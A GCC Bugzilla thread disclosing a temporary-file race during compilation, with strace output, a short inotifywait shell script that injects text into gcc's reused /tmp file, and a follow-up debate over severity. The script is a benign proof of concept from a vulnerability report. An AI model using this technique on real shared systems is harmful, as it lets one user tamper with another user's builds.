[Bug other/90195] New: GCC: Insecure Tmp Write(s) / Arbitrary Data Injection

2019-04-20 Thread pat at rack911labs dot com
https://gcc.gnu.org/bugzilla/show_bug.cgi?id=90195

Bug ID: 90195
   Summary: GCC: Insecure Tmp Write(s) / Arbitrary Data Injection
   Product: gcc
   Version: 4.8.5
Status: UNCONFIRMED
  Severity: normal
  Priority: P3
 Component: other
  Assignee: unassigned at gcc dot gnu.org
  Reporter: pat at rack911labs dot com
  Target Milestone: ---

While auditing some third party software, I noticed that when performing a
basic compile with gcc that it does a few insecure file operations under /tmp/
that allows data to be arbitrarily injected.

For example:

open("/tmp/ccQaUMl2.ld", O_RDWR|O_CREAT|O_EXCL, 0600) = 3
open("/tmp/ccQaUMl2.ld", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 3
open("/tmp/ccQaUMl2.ld", O_RDONLY) = 3
unlink("/tmp/ccQaUMl2.ld") = 0
open("/tmp/ccQaUMl2.ld", O_RDONLY) = -1 ENOENT (No such file or directory)

The unlink() and following open() allow for data to be easily injected into
that file using inotifywait since the filename remains the same. I wrote a
quick shell script to demonstrate:

user@cpanel [~]# cat demo.sh
#!/bin/sh
inotifywait -m /tmp/ -e DELETE |
while read path action file; do
echo "This shouldn't happen!" > /tmp/$file
done
user@cpanel [~]# sh demo.sh
Setting up watches.
Watches established.

Another user then compiles something:

[root@cpanel ~]# cat example.c
#include 
int main()
{
   printf("Hello, World!");
   return 0;
}
[root@cpanel ~]#
[root@cpanel ~]# gcc -Wall -o example /root/example.c
This shouldn't happen!
This shouldn't happen!
[root@cpanel ~]#

* This was initially reported to cPanel but they believe this to be a gcc
upstream security flaw. I'm not sure what component to file this under, please
move it if necessary. Thanks!

[Bug other/90195] GCC: Insecure Tmp Write(s) / Arbitrary Data Injection

2019-04-20 Thread pat at rack911labs dot com
https://gcc.gnu.org/bugzilla/show_bug.cgi?id=90195

--- Comment #2 from pat at rack911labs dot com ---
(In reply to Andrew Pinski from comment #1)
> Use a TMPDIR env if you want to prevent other users from getting access to
> files.
> 
> This is a minor security hole really because it allows a person with already
> have access to do bad things.  If you trust an user to have an user account
> then you have to trust enough not do bad things.

Unless of course you run a shared hosting environment, etc.

While I agree it is a pretty minor issue, it is still a security vulnerability
that should be addressed outside of expecting developers to set a TMPDIR env.